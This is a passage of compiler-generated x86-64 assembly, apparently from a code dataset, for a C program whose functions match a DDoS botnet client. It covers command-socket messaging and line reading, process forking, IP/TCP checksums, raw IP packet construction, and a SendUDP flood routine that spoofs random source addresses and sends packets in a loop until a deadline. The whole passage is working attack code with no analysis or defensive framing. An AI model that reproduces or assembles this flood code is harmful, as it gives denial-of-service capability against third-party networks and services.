	cmp	al, 99
	jne	.L86
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L99
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L100
.L99:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L100:
	mov	eax, DWORD PTR [rax]
	mov	BYTE PTR -42[rbp], al
	mov	BYTE PTR -41[rbp], 0
	lea	rsi, -42[rbp]
	mov	rax, QWORD PTR -56[rbp]
	mov	ecx, r12d
	mov	edx, r13d
	mov	rdi, rax
	call	prints
	add	ebx, eax
	jmp	.L86
.L105:
	nop
	jmp	.L71
.L107:
	nop
.L71:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	movzx	edx, al
	mov	rax, QWORD PTR -56[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	printchar
	add	ebx, 1
.L86:
	add	QWORD PTR -64[rbp], 1
.L70:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L101
	jmp	.L73
.L106:
	nop
.L73:
	cmp	QWORD PTR -56[rbp], 0
	je	.L102
	mov	rax, QWORD PTR -56[rbp]
	mov	rax, QWORD PTR [rax]
	mov	BYTE PTR [rax], 0
.L102:
	mov	eax, ebx
	mov	rdi, QWORD PTR -40[rbp]
	sub	rdi, QWORD PTR fs:40
	je	.L104
	call	__stack_chk_fail@PLT
.L104:
	lea	rsp, -32[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE15:
	.size	print, .-print
	.globl	sockprintf
	.type	sockprintf, @function
sockprintf:
.LFB16:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 256
	mov	DWORD PTR -244[rbp], edi
	mov	QWORD PTR -256[rbp], rsi
	mov	QWORD PTR -160[rbp], rdx
	mov	QWORD PTR -152[rbp], rcx
	mov	QWORD PTR -144[rbp], r8
	mov	QWORD PTR -136[rbp], r9
	test	al, al
	je	.L109
	movaps	XMMWORD PTR -128[rbp], xmm0
	movaps	XMMWORD PTR -112[rbp], xmm1
	movaps	XMMWORD PTR -96[rbp], xmm2
	movaps	XMMWORD PTR -80[rbp], xmm3
	movaps	XMMWORD PTR -64[rbp], xmm4
	movaps	XMMWORD PTR -48[rbp], xmm5
	movaps	XMMWORD PTR -32[rbp], xmm6
	movaps	XMMWORD PTR -16[rbp], xmm7
.L109:
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -184[rbp], rax
	xor	eax, eax
	mov	edi, 2048
	call	malloc@PLT
	mov	QWORD PTR -224[rbp], rax
	mov	rax, QWORD PTR -224[rbp]
	mov	edx, 2048
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -224[rbp]
	mov	QWORD PTR -216[rbp], rax
	mov	DWORD PTR -208[rbp], 16
	mov	DWORD PTR -204[rbp], 48
	lea	rax, 16[rbp]
	mov	QWORD PTR -200[rbp], rax
	lea	rax, -176[rbp]
	mov	QWORD PTR -192[rbp], rax
	lea	rdx, -208[rbp]
	mov	rcx, QWORD PTR -256[rbp]
	lea	rax, -224[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	print
	mov	rax, QWORD PTR -216[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, QWORD PTR -216[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 10
	mov	rax, QWORD PTR -216[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	mov	rsi, QWORD PTR -216[rbp]
	mov	eax, DWORD PTR -244[rbp]
	mov	ecx, 16384
	mov	edi, eax
	call	send@PLT
	mov	DWORD PTR -228[rbp], eax
	mov	rax, QWORD PTR -216[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	eax, DWORD PTR -228[rbp]
	mov	rcx, QWORD PTR -184[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L111
	call	__stack_chk_fail@PLT
.L111:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE16:
	.size	sockprintf, .-sockprintf
	.globl	getHost
	.type	getHost, @function
getHost:
.LFB17:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	QWORD PTR -16[rbp], rsi
	mov	rax, QWORD PTR -8[rbp]
	mov	rdi, rax
	call	inet_addr@PLT
	mov	rdx, QWORD PTR -16[rbp]
	mov	DWORD PTR [rdx], eax
	mov	rax, QWORD PTR -16[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, -1
	jne	.L113
	mov	eax, 1
	jmp	.L114
.L113:
	mov	eax, 0
.L114:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE17:
	.size	getHost, .-getHost
	.globl	makeRandomStr
	.type	makeRandomStr, @function
makeRandomStr:
.LFB18:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	DWORD PTR -28[rbp], esi
	mov	DWORD PTR -4[rbp], 0
	mov	DWORD PTR -4[rbp], 0
	jmp	.L116
.L117:
	call	rand_cmwc
	mov	edx, eax
	mov	eax, edx
	imul	rax, rax, 1321528399
	shr	rax, 32
	shr	eax, 3
	imul	ecx, eax, 26
	mov	eax, edx
	sub	eax, ecx
	mov	ecx, eax
	mov	eax, DWORD PTR -4[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, rdx
	lea	edx, 65[rcx]
	mov	BYTE PTR [rax], dl
	add	DWORD PTR -4[rbp], 1
.L116:
	mov	eax, DWORD PTR -4[rbp]
	cmp	eax, DWORD PTR -28[rbp]
	jl	.L117
	nop
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE18:
	.size	makeRandomStr, .-makeRandomStr
	.globl	recvLine
	.type	recvLine, @function
recvLine:
.LFB19:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 224
	mov	DWORD PTR -212[rbp], edi
	mov	QWORD PTR -224[rbp], rsi
	mov	DWORD PTR -216[rbp], edx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	eax, DWORD PTR -216[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -224[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	QWORD PTR -160[rbp], 30
	mov	QWORD PTR -152[rbp], 0
	mov	eax, 0
	mov	ecx, 16
	lea	rdx, -144[rbp]
	mov	rdi, rdx
#APP
# 331 "the_stack_data/22164.c" 1
	cld; rep; stosq
# 0 "" 2
#NO_APP
	mov	eax, edi
	mov	edx, ecx
	mov	DWORD PTR -188[rbp], edx
	mov	DWORD PTR -184[rbp], eax
	mov	eax, DWORD PTR -212[rbp]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	mov	esi, eax
	movsx	rax, esi
	mov	rdi, QWORD PTR -144[rbp+rax*8]
	mov	eax, DWORD PTR -212[rbp]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	or	rdi, rax
	mov	rdx, rdi
	movsx	rax, esi
	mov	QWORD PTR -144[rbp+rax*8], rdx
	mov	eax, DWORD PTR -212[rbp]
	lea	edi, 1[rax]
	lea	rcx, -160[rbp]
	lea	rdx, -144[rbp]
	lea	rax, -144[rbp]
	mov	r8, rcx
	mov	rcx, rdx
	mov	edx, 0
	mov	rsi, rax
	call	select@PLT
	mov	DWORD PTR -180[rbp], eax
	cmp	DWORD PTR -180[rbp], 0
	jg	.L119
	jmp	.L120
.L122:
	mov	QWORD PTR -160[rbp], 30
	mov	QWORD PTR -152[rbp], 0
	mov	eax, 0
	mov	ecx, 16
	lea	rdx, -144[rbp]
	mov	rdi, rdx
#APP
# 339 "the_stack_data/22164.c" 1
	cld; rep; stosq
# 0 "" 2
#NO_APP
	mov	eax, edi
	mov	edx, ecx
	mov	DWORD PTR -176[rbp], edx
	mov	DWORD PTR -172[rbp], eax
	mov	eax, DWORD PTR -212[rbp]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	mov	esi, eax
	movsx	rax, esi
	mov	rdi, QWORD PTR -144[rbp+rax*8]
	mov	eax, DWORD PTR -212[rbp]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	or	rdi, rax
	mov	rdx, rdi
	movsx	rax, esi
	mov	QWORD PTR -144[rbp+rax*8], rdx
	mov	eax, DWORD PTR -212[rbp]
	lea	edi, 1[rax]
	lea	rcx, -160[rbp]
	lea	rdx, -144[rbp]
	lea	rax, -144[rbp]
	mov	r8, rcx
	mov	rcx, rdx
	mov	edx, 0
	mov	rsi, rax
	call	select@PLT
	mov	DWORD PTR -180[rbp], eax
	cmp	DWORD PTR -180[rbp], 0
	jg	.L131
	add	DWORD PTR -196[rbp], 1
	nop
.L120:
	cmp	DWORD PTR -196[rbp], 9
	jle	.L122
	jmp	.L119
.L131:
	nop
.L119:
	mov	DWORD PTR -192[rbp], 0
	mov	rax, QWORD PTR -224[rbp]
	mov	QWORD PTR -168[rbp], rax
	jmp	.L123
.L128:
	mov	eax, DWORD PTR mainCommSock[rip]
	lea	rsi, -197[rbp]
	mov	ecx, 0
	mov	edx, 1
	mov	edi, eax
	call	recv@PLT
	cmp	rax, 1
	je	.L124
	mov	rax, QWORD PTR -168[rbp]
	mov	BYTE PTR [rax], 0
	mov	eax, -1
	jmp	.L129
.L124:
	mov	rax, QWORD PTR -168[rbp]
	lea	rdx, 1[rax]
	mov	QWORD PTR -168[rbp], rdx
	movzx	edx, BYTE PTR -197[rbp]
	mov	BYTE PTR [rax], dl
	movzx	eax, BYTE PTR -197[rbp]
	cmp	al, 10
	je	.L132
	add	DWORD PTR -192[rbp], 1
.L123:
	mov	eax, DWORD PTR -216[rbp]
	lea	edx, -1[rax]
	mov	DWORD PTR -216[rbp], edx
	cmp	eax, 1
	jg	.L128
	jmp	.L127
.L132:
	nop
.L127:
	mov	rax, QWORD PTR -168[rbp]
	mov	BYTE PTR [rax], 0
	mov	eax, DWORD PTR -192[rbp]
.L129:
	mov	rsi, QWORD PTR -8[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L130
	call	__stack_chk_fail@PLT
.L130:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE19:
	.size	recvLine, .-recvLine
	.globl	connectTimeout
	.type	connectTimeout, @function
connectTimeout:
.LFB20:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 240
	mov	DWORD PTR -212[rbp], edi
	mov	QWORD PTR -224[rbp], rsi
	mov	DWORD PTR -216[rbp], edx
	mov	DWORD PTR -228[rbp], ecx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	eax, DWORD PTR -212[rbp]
	mov	edx, 0
	mov	esi, 3
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	cdqe
	mov	QWORD PTR -184[rbp], rax
	or	QWORD PTR -184[rbp], 2048
	mov	rdx, QWORD PTR -184[rbp]
	mov	eax, DWORD PTR -212[rbp]
	mov	esi, 4
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	mov	WORD PTR -160[rbp], 2
	mov	eax, DWORD PTR -216[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -158[rbp], ax
	lea	rax, -160[rbp]
	lea	rdx, 4[rax]
	mov	rax, QWORD PTR -224[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	getHost
	test	eax, eax
	je	.L134
	mov	eax, 0
	jmp	.L139
.L134:
	lea	rax, -160[rbp]
	add	rax, 8
	mov	edx, 8
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	lea	rcx, -160[rbp]
	mov	eax, DWORD PTR -212[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	mov	DWORD PTR -196[rbp], eax
	cmp	DWORD PTR -196[rbp], 0
	jns	.L136
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	cmp	eax, 115
	jne	.L137
	mov	eax, DWORD PTR -228[rbp]
	cdqe
	mov	QWORD PTR -176[rbp], rax
	mov	QWORD PTR -168[rbp], 0
	mov	eax, 0
	mov	ecx, 16
	lea	rdx, -144[rbp]
	mov	rdi, rdx
#APP
# 388 "the_stack_data/22164.c" 1
	cld; rep; stosq
# 0 "" 2
#NO_APP
	mov	eax, edi
	mov	edx, ecx
	mov	DWORD PTR -192[rbp], edx
	mov	DWORD PTR -188[rbp], eax
	mov	eax, DWORD PTR -212[rbp]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	mov	esi, eax
	movsx	rax, esi
	mov	rdi, QWORD PTR -144[rbp+rax*8]
	mov	eax, DWORD PTR -212[rbp]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	or	rdi, rax
	mov	rdx, rdi
	movsx	rax, esi
	mov	QWORD PTR -144[rbp+rax*8], rdx
	mov	eax, DWORD PTR -212[rbp]
	lea	edi, 1[rax]
	lea	rdx, -176[rbp]
	lea	rax, -144[rbp]
	mov	r8, rdx
	mov	ecx, 0
	mov	rdx, rax
	mov	esi, 0
	call	select@PLT
	test	eax, eax
	jle	.L138
	mov	DWORD PTR -204[rbp], 4
	lea	rcx, -204[rbp]
	lea	rdx, -200[rbp]
	mov	eax, DWORD PTR -212[rbp]
	mov	r8, rcx
	mov	rcx, rdx
	mov	edx, 4
	mov	esi, 1
	mov	edi, eax
	call	getsockopt@PLT
	mov	eax, DWORD PTR -200[rbp]
	test	eax, eax
	je	.L136
	mov	eax, 0
	jmp	.L139
.L138:
	mov	eax, 0
	jmp	.L139
.L137:
	mov	eax, 0
	jmp	.L139
.L136:
	mov	eax, DWORD PTR -212[rbp]
	mov	edx, 0
	mov	esi, 3
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	cdqe
	mov	QWORD PTR -184[rbp], rax
	and	QWORD PTR -184[rbp], -2049
	mov	rdx, QWORD PTR -184[rbp]
	mov	eax, DWORD PTR -212[rbp]
	mov	esi, 4
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	mov	eax, 1
.L139:
	mov	rsi, QWORD PTR -8[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L140
	call	__stack_chk_fail@PLT
.L140:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE20:
	.size	connectTimeout, .-connectTimeout
	.globl	listFork
	.type	listFork, @function
listFork:
.LFB21:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	call	fork@PLT
	mov	DWORD PTR -12[rbp], eax
	cmp	DWORD PTR -12[rbp], 0
	jne	.L142
	mov	eax, DWORD PTR -12[rbp]
	jmp	.L143
.L142:
	mov	rax, QWORD PTR numpids[rip]
	add	rax, 1
	mov	QWORD PTR numpids[rip], rax
	mov	rax, QWORD PTR numpids[rip]
	add	rax, 1
	sal	rax, 2
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -8[rbp], rax
	mov	DWORD PTR -16[rbp], 0
	jmp	.L144
.L145:
	mov	rdx, QWORD PTR pids[rip]
	mov	eax, DWORD PTR -16[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	edx, DWORD PTR -16[rbp]
	lea	rcx, 0[0+rdx*4]
	mov	rdx, QWORD PTR -8[rbp]
	add	rdx, rcx
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR [rdx], eax
	add	DWORD PTR -16[rbp], 1
.L144:
	mov	eax, DWORD PTR -16[rbp]
	mov	rdx, QWORD PTR numpids[rip]
	sub	rdx, 1
	cmp	rax, rdx
	jb	.L145
	mov	rax, QWORD PTR numpids[rip]
	sal	rax, 2
	lea	rdx, -4[rax]
	mov	rax, QWORD PTR -8[rbp]
	add	rdx, rax
	mov	eax, DWORD PTR -12[rbp]
	mov	DWORD PTR [rdx], eax
	mov	rax, QWORD PTR pids[rip]
	mov	rdi, rax
	call	free@PLT
	mov	rax, QWORD PTR -8[rbp]
	mov	QWORD PTR pids[rip], rax
	mov	eax, DWORD PTR -12[rbp]
.L143:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE21:
	.size	listFork, .-listFork
	.globl	csum
	.type	csum, @function
csum:
.LFB22:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	.cfi_offset 3, -24
	mov	QWORD PTR -16[rbp], rdi
	mov	DWORD PTR -20[rbp], esi
	mov	ebx, 0
	jmp	.L147
.L148:
	mov	rax, QWORD PTR -16[rbp]
	lea	rdx, 2[rax]
	mov	QWORD PTR -16[rbp], rdx
	movzx	eax, WORD PTR [rax]
	movzx	eax, ax
	add	rbx, rax
	sub	DWORD PTR -20[rbp], 2
.L147:
	cmp	DWORD PTR -20[rbp], 1
	jg	.L148
	cmp	DWORD PTR -20[rbp], 0
	jle	.L150
	mov	rax, QWORD PTR -16[rbp]
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	add	rbx, rax
	jmp	.L150
.L151:
	movzx	eax, bx
	mov	rdx, rbx
	shr	rdx, 16
	lea	rbx, [rax+rdx]
.L150:
	mov	rax, rbx
	shr	rax, 16
	test	rax, rax
	jne	.L151
	mov	eax, ebx
	not	eax
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE22:
	.size	csum, .-csum
	.globl	tcpcsum
	.type	tcpcsum, @function
tcpcsum:
.LFB23:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 64
	mov	QWORD PTR -56[rbp], rdi
	mov	QWORD PTR -64[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rax, QWORD PTR -56[rbp]
	movzx	eax, WORD PTR 2[rax]
	mov	WORD PTR -48[rbp], ax
	mov	rax, QWORD PTR -56[rbp]
	mov	eax, DWORD PTR 12[rax]
	mov	eax, eax
	mov	QWORD PTR -32[rbp], rax
	mov	rax, QWORD PTR -56[rbp]
	mov	eax, DWORD PTR 16[rax]
	mov	eax, eax
	mov	QWORD PTR -24[rbp], rax
	mov	BYTE PTR -16[rbp], 0
	mov	BYTE PTR -15[rbp], 6
	mov	edi, 20
	call	htons@PLT
	mov	WORD PTR -14[rbp], ax
	mov	DWORD PTR -44[rbp], 44
	mov	eax, DWORD PTR -44[rbp]
	cdqe
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -40[rbp], rax
	lea	rcx, -32[rbp]
	mov	rax, QWORD PTR -40[rbp]
	mov	edx, 24
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	mov	rax, QWORD PTR -40[rbp]
	lea	rcx, 24[rax]
	mov	rax, QWORD PTR -64[rbp]
	mov	edx, 20
	mov	rsi, rax
	mov	rdi, rcx
	call	memcpy@PLT
	mov	edx, DWORD PTR -44[rbp]
	mov	rax, QWORD PTR -40[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	csum
	mov	WORD PTR -46[rbp], ax
	mov	rax, QWORD PTR -40[rbp]
	mov	rdi, rax
	call	free@PLT
	movzx	eax, WORD PTR -46[rbp]
	mov	rdx, QWORD PTR -8[rbp]
	sub	rdx, QWORD PTR fs:40
	je	.L155
	call	__stack_chk_fail@PLT
.L155:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE23:
	.size	tcpcsum, .-tcpcsum
	.globl	makeIPPacket
	.type	makeIPPacket, @function
makeIPPacket:
.LFB24:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 24
	mov	QWORD PTR -8[rbp], rdi
	mov	DWORD PTR -12[rbp], esi
	mov	DWORD PTR -16[rbp], edx
	mov	eax, ecx
	mov	DWORD PTR -24[rbp], r8d
	mov	BYTE PTR -20[rbp], al
	mov	rax, QWORD PTR -8[rbp]
	movzx	edx, BYTE PTR [rax]
	and	edx, -16
	or	edx, 5
	mov	BYTE PTR [rax], dl
	mov	rax, QWORD PTR -8[rbp]
	movzx	edx, BYTE PTR [rax]
	and	edx, 15
	or	edx, 64
	mov	BYTE PTR [rax], dl
	mov	rax, QWORD PTR -8[rbp]
	mov	BYTE PTR 1[rax], 0
	mov	eax, DWORD PTR -24[rbp]
	lea	edx, 20[rax]
	mov	rax, QWORD PTR -8[rbp]
	mov	WORD PTR 2[rax], dx
	call	rand_cmwc
	mov	edx, eax
	mov	rax, QWORD PTR -8[rbp]
	mov	WORD PTR 4[rax], dx
	mov	rax, QWORD PTR -8[rbp]
	mov	WORD PTR 6[rax], 0
	mov	rax, QWORD PTR -8[rbp]
	mov	BYTE PTR 8[rax], -1
	mov	rax, QWORD PTR -8[rbp]
	movzx	edx, BYTE PTR -20[rbp]
	mov	BYTE PTR 9[rax], dl
	mov	rax, QWORD PTR -8[rbp]
	mov	WORD PTR 10[rax], 0
	mov	rax, QWORD PTR -8[rbp]
	mov	edx, DWORD PTR -16[rbp]
	mov	DWORD PTR 12[rax], edx
	mov	rax, QWORD PTR -8[rbp]
	mov	edx, DWORD PTR -12[rbp]
	mov	DWORD PTR 16[rax], edx
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE24:
	.size	makeIPPacket, .-makeIPPacket
	.globl	SendUDP
	.type	SendUDP, @function
SendUDP:
.LFB25:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 160
	.cfi_offset 14, -24
	.cfi_offset 13, -32
	.cfi_offset 12, -40
	.cfi_offset 3, -48
	mov	QWORD PTR -136[rbp], rdi
	mov	DWORD PTR -140[rbp], esi
	mov	DWORD PTR -144[rbp], edx
	mov	DWORD PTR -148[rbp], ecx
	mov	DWORD PTR -152[rbp], r8d
	mov	DWORD PTR -156[rbp], r9d
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -40[rbp], rax
	xor	eax, eax
	mov	WORD PTR -64[rbp], 2
	cmp	DWORD PTR -140[rbp], 0
	jne	.L158
	call	rand_cmwc
	mov	WORD PTR -62[rbp], ax
	jmp	.L159
.L158:
	mov	eax, DWORD PTR -140[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -62[rbp], ax
.L159:
	lea	rax, -64[rbp]
	lea	rdx, 4[rax]
	mov	rax, QWORD PTR -136[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	getHost
	test	eax, eax
	jne	.L181
	lea	rax, -64[rbp]
	add	rax, 8
	mov	edx, 8
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	r13d, DWORD PTR -152[rbp]
	mov	edx, 17
	mov	esi, 3
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -108[rbp], eax
	cmp	DWORD PTR -108[rbp], 0
	je	.L182
	mov	DWORD PTR -116[rbp], 1
	lea	rdx, -116[rbp]
	mov	eax, DWORD PTR -108[rbp]
	mov	r8d, 4
	mov	rcx, rdx
	mov	edx, 3
	mov	esi, 0
	mov	edi, eax
	call	setsockopt@PLT
	test	eax, eax
	js	.L183
	mov	DWORD PTR -112[rbp], 50
	jmp	.L164
.L165:
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	ebx, eax
	call	rand_cmwc
	xor	eax, ebx
	mov	edi, eax
	call	srand@PLT
	call	rand@PLT
	mov	edi, eax
	call	init_rand
.L164:
	mov	eax, DWORD PTR -112[rbp]
	lea	edx, -1[rax]
	mov	DWORD PTR -112[rbp], edx
	test	eax, eax
	jne	.L165
	mov	eax, 32
	sub	eax, DWORD PTR -156[rbp]
	mov	edx, 1
	mov	ecx, eax
	sal	edx, cl
	mov	eax, edx
	neg	eax
	mov	DWORD PTR -104[rbp], eax
	mov	eax, DWORD PTR -148[rbp]
	cdqe
	lea	rbx, 28[rax]
	mov	rax, rsp
	mov	r14, rax
	mov	rax, rbx
	sub	rax, 1
	mov	QWORD PTR -96[rbp], rax
	mov	QWORD PTR -176[rbp], rbx
	mov	QWORD PTR -168[rbp], 0
	mov	QWORD PTR -192[rbp], rbx
	mov	QWORD PTR -184[rbp], 0
	mov	eax, 16
	sub	rax, 1
	add	rax, rbx
	mov	ecx, 16
	mov	edx, 0
	div	rcx
	imul	rax, rax, 16
	mov	rcx, rax
	and	rcx, -4096
	mov	rdx, rsp
	sub	rdx, rcx
.L166:
	cmp	rsp, rdx
	je	.L167
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L166
.L167:
	mov	rdx, rax
	and	edx, 4095
	sub	rsp, rdx
	mov	rdx, rax
	and	edx, 4095
	test	rdx, rdx
	je	.L168
	and	eax, 4095
	sub	rax, 8
	add	rax, rsp
	or	QWORD PTR [rax], 0
.L168:
	mov	rax, rsp
	add	rax, 0
	mov	QWORD PTR -88[rbp], rax
	mov	rax, QWORD PTR -88[rbp]
	mov	QWORD PTR -80[rbp], rax
	mov	rax, QWORD PTR -80[rbp]
	add	rax, 20
	mov	QWORD PTR -72[rbp], rax
	mov	eax, DWORD PTR -148[rbp]
	add	eax, 8
	mov	r12d, eax
	mov	eax, DWORD PTR -104[rbp]
	mov	edi, eax
	call	getRandomIP
	mov	edi, eax
	call	htonl@PLT
	mov	edx, eax
	mov	esi, DWORD PTR -60[rbp]
	mov	rax, QWORD PTR -80[rbp]
	mov	r8d, r12d
	mov	ecx, 17
	mov	rdi, rax
	call	makeIPPacket
	mov	eax, DWORD PTR -148[rbp]
	add	eax, 8
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	rdx, QWORD PTR -72[rbp]
	mov	WORD PTR 4[rdx], ax
	call	rand_cmwc
	mov	edx, eax
	mov	rax, QWORD PTR -72[rbp]
	mov	WORD PTR [rax], dx
	cmp	DWORD PTR -140[rbp], 0
	jne	.L169
	call	rand_cmwc
	jmp	.L170
.L169:
	mov	eax, DWORD PTR -140[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
.L170:
	mov	rdx, QWORD PTR -72[rbp]
	mov	WORD PTR 2[rdx], ax
	mov	rax, QWORD PTR -72[rbp]
	mov	WORD PTR 6[rax], 0
	mov	rax, QWORD PTR -72[rbp]
	lea	rdx, 8[rax]
	mov	eax, DWORD PTR -148[rbp]
	mov	esi, eax
	mov	rdi, rdx
	call	makeRandomStr
	mov	rax, QWORD PTR -80[rbp]
	movzx	eax, WORD PTR 2[rax]
	movzx	edx, ax
	mov	rax, QWORD PTR -88[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	csum
	mov	rdx, QWORD PTR -80[rbp]
	mov	WORD PTR 10[rdx], ax
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	edx, DWORD PTR -144[rbp]
	add	eax, edx
	mov	DWORD PTR -100[rbp], eax
	mov	r12d, 0
.L177:
	lea	rdx, -64[rbp]
	mov	rsi, QWORD PTR -88[rbp]
	mov	eax, DWORD PTR -108[rbp]
	mov	r9d, 16
	mov	r8, rdx
	mov	ecx, 0
	mov	rdx, rbx
	mov	edi, eax
	call	sendto@PLT
	call	rand_cmwc
	mov	edx, eax
	mov	rax, QWORD PTR -72[rbp]
	mov	WORD PTR [rax], dx
	cmp	DWORD PTR -140[rbp], 0
	jne	.L171
	call	rand_cmwc
	jmp	.L172
.L171:
	mov	eax, DWORD PTR -140[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
.L172:
	mov	rdx, QWORD PTR -72[rbp]
	mov	WORD PTR 2[rdx], ax
	call	rand_cmwc
	mov	edx, eax
